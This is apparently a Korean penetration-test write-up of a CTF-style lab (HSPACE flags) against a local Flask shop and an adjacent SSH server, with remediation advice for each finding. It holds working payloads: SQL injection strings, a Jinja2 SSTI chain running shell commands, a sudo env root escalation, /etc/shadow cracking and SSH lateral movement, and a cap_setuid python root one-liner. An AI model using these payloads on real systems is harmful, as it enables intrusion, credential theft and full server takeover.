모의해킹 결과 보고서
1. 정보 수집 (Reconnaissance)
1.1 대상 식별
대상 URL: http://localhost:5001
기술 스택: Python Flask + MariaDB 10.5 + Jinja2 템플릿
프론트엔드: Tailwind CSS, Font Awesome
컨테이너 구성: web (Flask), db (MariaDB), chatbot_server (SSH)1.2 디렉토리 및 엔드포인트 열거
주요 발견 경로:
| 경로 | 기능 | 인증 필요 |
|---|---|---|
/ |
메인 페이지 (상품 목록) | 없음 |
/users/login |
로그인 | 없음 |
/users/register |
회원가입 | 없음 |
/board/<id> |
게시판 글 조회 | 없음 |
/orders/<order_id> |
주문 상세 조회 | 로그인 |
/admin |
관리자 페이지 | admin 계정 |
/admin/calculator |
관리자 계산기 | admin 계정 |
/robots.txt |
크롤러 제한 설정 | 없음 |
/static/js/main.js |
프론트엔드 JavaScript | 없음 |
/this_is_hidden_page |
숨겨진 페이지 | 없음 |
1.3 계정 정보
| 계정 | 비밀번호 | 권한 | 발견 방법 |
|---|---|---|---|
| test | testtesttest | 일반 사용자 | 기본 테스트 계정 |
| admin | bedspace | 관리자 | main.js 해시 크래킹 |
| chatbot (시스템) | computer | SSH 사용자 | /etc/shadow 크래킹 |
2. 취약점 상세 분석 및 익스플로잇
취약점 #1: SQL Injection (Union-based)
| 항목 | 내용 |
|---|---|
| 위험도 | Critical |
| OWASP | A03:2021 – Injection |
| 위치 | /board/<id> |
| 영향 | DB 내 모든 데이터 무단 조회 (플래그, 사용자 정보 등) |
취약점 설명
게시판 글 조회 기능에서 사용자 입력(id)이 SQL 쿼리에 직접 삽입된다.
취약 코드:
query = f"SELECT id, title, content FROM notice WHERE id = {id}"
파라미터 바인딩 없이 f-string으로 사용자 입력을 직접 쿼리에 포함하여 Union-based SQL Injection이 가능하다.
공격 과정
Step 1: 컬럼 수 확인
GET /board/1 ORDER BY 3 -- → 정상 응답 (3 컬럼)
GET /board/1 ORDER BY 4 -- → 500 에러 (컬럼 초과)Step 2: Flag 추출
GET /board/-1 UNION SELECT NULL, flag_value, NULL FROM flag공격 결과
HSPACE{this_is_your_super_secret_flag}대응 방안
- 파라미터화된 쿼리(Parameterized Query) 사용
query = text("SELECT id, title, content FROM notice WHERE id = :id") db.session.execute(query, {'id': id}) - 입력값에 대한 정수 타입 검증 추가
취약점 #2: 하드코딩된 자격증명
| 항목 | 내용 |
|---|---|
| 위험도 | High |
| OWASP | A07:2021 – Identification and Authentication Failures |
| 위치 | /static/js/main.js (프론트엔드), 로그인 로직 (백엔드) |
| 영향 | 관리자 계정 탈취 → 관리자 기능 전체 접근 |
취약점 설명
프론트엔드 JavaScript 파일에 관리자 비밀번호의 SHA-512 해시가 주석으로 포함되어 있다:
// <!-- 개발하실 때 참고해주세요! admin:sha512:3645092c3582a96cd...
또한 백엔드 로그인 로직에 비밀번호가 하드코딩되어 있다:
if username == 'admin' and password == 'bedspace':
SHA-512 해시를 rockyou.txt 등 사전 파일로 크래킹하면 비밀번호 bedspace를 획득할 수 있다.
공격 결과
관리자 로그인 성공 (admin / bedspace)
HSPACE{h4rdc0d3d_cr3d3nt14l_!s_d4ng3r0us}대응 방안
- 프론트엔드 코드에서 모든 민감 정보(해시 포함) 제거
- 비밀번호를 DB에 bcrypt/Argon2로 해싱하여 저장
- 하드코딩된 자격증명 검증 로직 제거
취약점 #3: 소스코드 내 민감 정보 노출 (Dev Mode)
| 항목 | 내용 |
|---|---|
| 위험도 | Low |
| OWASP | A05:2021 – Security Misconfiguration |
| 위치 | 메인 페이지 HTML 소스 |
| 영향 | 내부 정보 유출 |
취약점 설명
메인 페이지의 HTML 소스코드에 개발 모드 관련 플래그가 포함되어 있다. 브라우저 개발자 도구(F12)에서 HSPACE를 검색하면 즉시 발견된다.
공격 결과
HSPACE{d3v_m0d3_1s_d4ng3r0us}대응 방안
- 프로덕션 배포 시 디버그 정보, 개발 주석, 테스트 데이터 완전 제거
- CI/CD 파이프라인에 민감 정보 스캔 도구 통합
취약점 #4: robots.txt 정보 노출
| 항목 | 내용 |
|---|---|
| 위험도 | Medium |
| OWASP | A05:2021 – Security Misconfiguration |
| 위치 | /robots.txt → /this_is_hidden_page |
| 영향 | 숨겨진 페이지 경로 노출 |
취약점 설명
robots.txt에 비공개 페이지 경로가 Disallow 설정으로 노출되어 있다:
User-agent: *
Disallow: /this_is_hidden_pagerobots.txt는 보안 메커니즘이 아니며, 오히려 공격자에게 숨겨진 경로를 알려주는 역할을 한다.
공격 결과
GET /this_is_hidden_page → HSPACE{r0b0ts_txt_!s_n0t_a_s3cur1ty_m3ch4n1sm}대응 방안
robots.txt에 민감한 경로를 포함하지 않음- 숨겨야 할 페이지는 인증/인가로 보호
취약점 #5: SSTI를 통한 원격 코드 실행 (RCE)
| 항목 | 내용 |
|---|---|
| 위험도 | Critical |
| OWASP | A03:2021 – Injection |
| 위치 | /admin/calculator |
| 영향 | 서버 OS 명령 실행 (www-data 권한) |
취약점 설명
관리자 계산기 기능이 사용자 입력을 Jinja2 템플릿으로 직접 렌더링한다. 이를 통해 Python 객체 체인을 이용한 Server-Side Template Injection(SSTI)이 가능하며, 최종적으로 임의 OS 명령 실행(RCE)에 도달한다.
공격 과정
Step 1: SSTI 확인
입력: {{7*7}}
출력: 49Step 2: RCE 달성
''.__class__.__mro__[1].__subclasses__()[351]('id',shell=True,stdout=-1).communicate()
# 출력: (b'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n', None)
Step 3: 플래그 읽기
''.__class__.__mro__[1].__subclasses__()[351]('cat /flag.txt',shell=True,stdout=-1).communicate()
공격 결과
서버에서 www-data 권한으로 임의 명령 실행 가능
HSPACE{SSTI_t0_RCE_!s_my_f4v0r1t3}대응 방안
- 사용자 입력을 절대 템플릿 엔진에 직접 전달하지 않음
- Jinja2 샌드박스 모드 사용 또는 수식 전용 파서(eval 대체) 도입
- 계산기 입력에 허용 문자 화이트리스트 적용 (숫자, 연산자만)
취약점 #6: SSTI를 통한 Flask 설정 정보 누출
| 항목 | 내용 |
|---|---|
| 위험도 | Medium |
| OWASP | A05:2021 – Security Misconfiguration |
| 위치 | /admin/calculator |
| 영향 | SECRET_KEY, DB 접속 정보 등 Flask 설정 전체 노출 |
취약점 설명
SSTI 취약점을 이용하여 Jinja2 컨텍스트의 config 객체에 접근하면, Flask 애플리케이션의 전체 설정이 노출된다.
공격 과정
입력: config
출력: <Config {'SECRET_KEY': 'HSPACE{th1s_!s_n0t_a_s3cr3t_k3y}', 'SQLALCHEMY_DATABASE_URI': '...', ...}>공격 결과
Flask SECRET_KEY 및 전체 설정 노출
HSPACE{th1s_!s_n0t_a_s3cr3t_k3y}대응 방안
- SSTI 취약점 근본 수정 (취약점 #5 대응 방안 참조)
- SECRET_KEY는 환경변수로 관리하고, 충분히 강력한 랜덤 값 사용
취약점 #7: IDOR (Insecure Direct Object References)
| 항목 | 내용 |
|---|---|
| 위험도 | High |
| OWASP | A01:2021 – Broken Access Control |
| 위치 | /orders/<order_id> |
| 영향 | 타인의 주문 정보 무단 조회, 숨겨진 주문 데이터 접근 |
취약점 설명
주문 상세 조회 기능에서 order_id에 대한 소유권 검증(Authorization) 없이 임의의 주문을 조회할 수 있다. 특히 order_id = 0에 대한 특수 처리가 존재하여 숨겨진 주문 데이터에 접근 가능하다.
공격 과정
GET /orders/0
# 로그인한 사용자라면 누구나 접근 가능
# order_id=0에 숨겨진 플래그 데이터가 포함됨공격 결과
HSPACE{th1s_!s_h1dd3n_0rd3r}대응 방안
- 주문 조회 시 현재 사용자의 소유 여부 검증 추가
WHERE id = :order_id AND user_id = :current_user_id order_id <= 0에 대한 접근 차단
취약점 #8: 권한 상승 (sudo env)
| 항목 | 내용 |
|---|---|
| 위험도 | Critical |
| OWASP | A05:2021 – Security Misconfiguration |
| 위치 | 웹 서버 컨테이너 (Dockerfile 설정) |
| 영향 | www-data → root 권한 상승 |
취약점 설명
Dockerfile에서 www-data 사용자에게 /usr/bin/env에 대한 패스워드 없는 sudo 권한을 부여하고 있다:
echo "www-data ALL=(root) NOPASSWD: /usr/bin/env" >> /etc/sudoers
env 명령은 임의의 프로그램을 실행할 수 있으므로 이를 통해 root 쉘을 획득할 수 있다.
공격 과정
Step 1: sudo 권한 확인 (SSTI RCE 이용)
''.__class__.__mro__[1].__subclasses__()[351]('sudo -l',shell=True,stdout=-1).communicate()
# (root) NOPASSWD: /usr/bin/env
Step 2: root 권한으로 플래그 읽기
''.__class__.__mro__[1].__subclasses__()[351]('sudo env /usr/bin/cat /root/flag.txt',shell=True,stdout=-1).communicate()
공격 결과
www-data → root 권한 상승 성공
HSPACE{pr1v1l3g3_3sc4l4t10n_!s_n0w_p0ss1bl3}대응 방안
www-data에 대한 불필요한 sudo 권한 제거- 최소 권한 원칙(Principle of Least Privilege) 적용
- GTFOBins 목록의 바이너리에 대한 sudo 부여 금지
취약점 #9: 횡이동 (Lateral Movement via Password Cracking)
| 항목 | 내용 |
|---|---|
| 위험도 | High |
| OWASP | A07:2021 – Identification and Authentication Failures |
| 위치 | 웹 서버 → chatbot_server (SSH) |
| 영향 | 인접 서버(chatbot_server)에 대한 무단 접근 |
취약점 설명
웹 서버의 root 권한을 획득한 후, /etc/shadow 파일에서 chatbot 사용자의 SHA-512 해시를 추출할 수 있다. 이 비밀번호는 약한 비밀번호(computer)로 설정되어 있어 사전 공격으로 쉽게 크래킹된다. 크래킹된 자격증명으로 내부 네트워크의 chatbot_server에 SSH 접속이 가능하다.
공격 과정
Step 1: /etc/shadow에서 해시 추출
chatbot:$6$PFz9aNE2WLPepx9A$FBc5z9a2ePprWlpdtFsn/DoNce...Step 2: 해시 크래킹
import crypt
crypt.crypt('computer', '$6$PFz9aNE2WLPepx9A$') == hash_part # True
# 비밀번호: computer
Step 3: SSH 횡이동
ssh chatbot@chatbot_server # password: computer
cat /home/chatbot/flag.txt
공격 결과
chatbot_server에 chatbot 사용자로 접근 성공
HSPACE{l4t3r4l_m0v3m3nt_v14_p4ssw0rd_cr4ck}대응 방안
- 강력한 비밀번호 정책 적용 (최소 12자, 복잡성 요구)
- SSH 키 기반 인증으로 전환, 비밀번호 인증 비활성화
- 내부 서버 간 네트워크 분리 (마이크로세그멘테이션)
/etc/shadow파일 접근 권한 최소화
취약점 #10: 권한 상승 (Linux Capabilities — cap_setuid)
| 항목 | 내용 |
|---|---|
| 위험도 | Critical |
| OWASP | A05:2021 – Security Misconfiguration |
| 위치 | chatbot_server의 Python 바이너리 |
| 영향 | chatbot 사용자 → root 권한 상승 |
취약점 설명
chatbot_server의 Dockerfile에서 Python 바이너리에 cap_setuid+ep 캐퍼빌리티를 부여하고 있다:
RUN setcap cap_setuid+ep /usr/bin/python3
cap_setuid를 가진 프로그램은 setuid(0)을 호출하여 UID를 root(0)로 변경할 수 있다.
공격 과정
Step 1: 캐퍼빌리티 확인
getcap -r / 2>/dev/null
# /usr/bin/python3.10 cap_setuid=ep
Step 2: Python으로 root 권한 획득
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("cat /root/flag.txt")'
공격 결과
chatbot → root 권한 상승 성공
HSPACE{c4p4b1l1t13s_c4n_b3_tr1cky}대응 방안
- 불필요한 Linux Capability 제거
cap_setuid같은 위험한 캐퍼빌리티는 절대 일반 바이너리에 부여하지 않음- 정기적인
getcap -r /감사 수행
3. 공격 킬 체인 (Full Attack Path)
전체 공격 경로를 연쇄적으로 연결하면 다음과 같다:
[외부 공격자]
│
▼
① 정보 수집: robots.txt, main.js, 개발자 도구
│
├─→ Flag 3 (Dev Mode), Flag 4 (robots.txt)
│
▼
② SQL Injection (/board/<id>)
│
├─→ Flag 1 (DB 플래그 탈취)
│
▼
③ 하드코딩 자격증명 크래킹 (main.js SHA-512)
│
├─→ Flag 2 + admin 계정 탈취
│
▼
④ IDOR 주문 정보 접근 (/orders/0)
│
├─→ Flag 7 (숨겨진 주문 데이터)
│
▼
⑤ SSTI → RCE (/admin/calculator)
│
├─→ Flag 5 (RCE), Flag 6 (Config 누출)
│
├─→ 웹 서버에서 www-data 쉘 획득
│
▼
⑥ 권한 상승 (sudo env → root)
│
├─→ Flag 8 (root 플래그)
│
├─→ /etc/shadow 접근 가능
│
▼
⑦ 횡이동 (shadow 크래킹 → SSH chatbot_server)
│
├─→ Flag 9 (chatbot_server 플래그)
│
▼
⑧ 최종 권한 상승 (Python cap_setuid → root)
│
└─→ Flag 10 (chatbot_server root 플래그)
[최종 결과: 2개 서버 모두 root 권한 장악]4. 획득 플래그 목록
| # | 취약점 | 위험도 | 플래그 |
|---|---|---|---|
| 1 | SQL Injection | Critical | HSPACE{this_is_your_super_secret_flag} |
| 2 | 하드코딩 자격증명 | High | HSPACE{h4rdc0d3d_cr3d3nt14l_!s_d4ng3r0us} |
| 3 | 소스코드 정보 노출 | Low | HSPACE{d3v_m0d3_1s_d4ng3r0us} |
| 4 | robots.txt 노출 | Medium | HSPACE{r0b0ts_txt_!s_n0t_a_s3cur1ty_m3ch4n1sm} |
| 5 | SSTI → RCE | Critical | HSPACE{SSTI_t0_RCE_!s_my_f4v0r1t3} |
| 6 | SSTI Config 누출 | Medium | HSPACE{th1s_!s_n0t_a_s3cr3t_k3y} |
| 7 | IDOR | High | HSPACE{th1s_!s_h1dd3n_0rd3r} |
| 8 | 권한 상승 (sudo) | Critical | HSPACE{pr1v1l3g3_3sc4l4t10n_!s_n0w_p0ss1bl3} |
| 9 | 횡이동 (SSH) | High | HSPACE{l4t3r4l_m0v3m3nt_v14_p4ssw0rd_cr4ck} |
| 10 | 권한 상승 (Capabilities) | Critical | HSPACE{c4p4b1l1t13s_c4n_b3_tr1cky} |
5. 종합 대응 권고
5.1 우선순위별 조치 사항
| 우선순위 | 조치 항목 | 대상 취약점 |
|---|---|---|
| P0 (즉시) | SQL 쿼리 파라미터화 | #1 |
| P0 (즉시) | SSTI 취약점 제거 (사용자 입력 → 템플릿 렌더링 차단) | #5, #6 |
| P0 (즉시) | 하드코딩 자격증명 제거 + 비밀번호 변경 | #2 |
| P0 (즉시) | sudo 및 capabilities 설정 제거 | #8, #10 |
| P1 (1주 내) | 주문 조회 인가 검증 추가 | #7 |
| P1 (1주 내) | 강력한 비밀번호 정책 + SSH 키 인증 전환 | #9 |
| P2 (2주 내) | 프론트엔드/소스 코드 민감 정보 제거 | #3 |
| P2 (2주 내) | robots.txt 재검토 | #4 |
| P3 (장기) | 내부 서버 간 네트워크 세그멘테이션 | #9 |
5.2 보안 아키텍처 권고
[권장 보안 레이어]
WAF (Web Application Firewall)
└── SQL Injection, XSS, SSTI 패턴 차단
애플리케이션 계층
├── 파라미터화 쿼리 (SQL Injection 방지)
├── 템플릿 샌드박스 (SSTI 방지)
├── 인가 검증 (IDOR 방지)
└── 시크릿 관리 도구 (Vault 등)
시스템 계층
├── 최소 권한 원칙 (sudo, capabilities 최소화)
├── 강력한 비밀번호 + 키 기반 인증
└── 정기적 보안 감사 (getcap, sudo -l)
네트워크 계층
└── 서비스 간 마이크로세그멘테이션'Bug bounty' 카테고리의 다른 글
| Hspace bug bounty (0) | 2026.03.20 |
|---|---|
| WP-Plugin scanner 개발 및 제보 (0) | 2025.10.15 |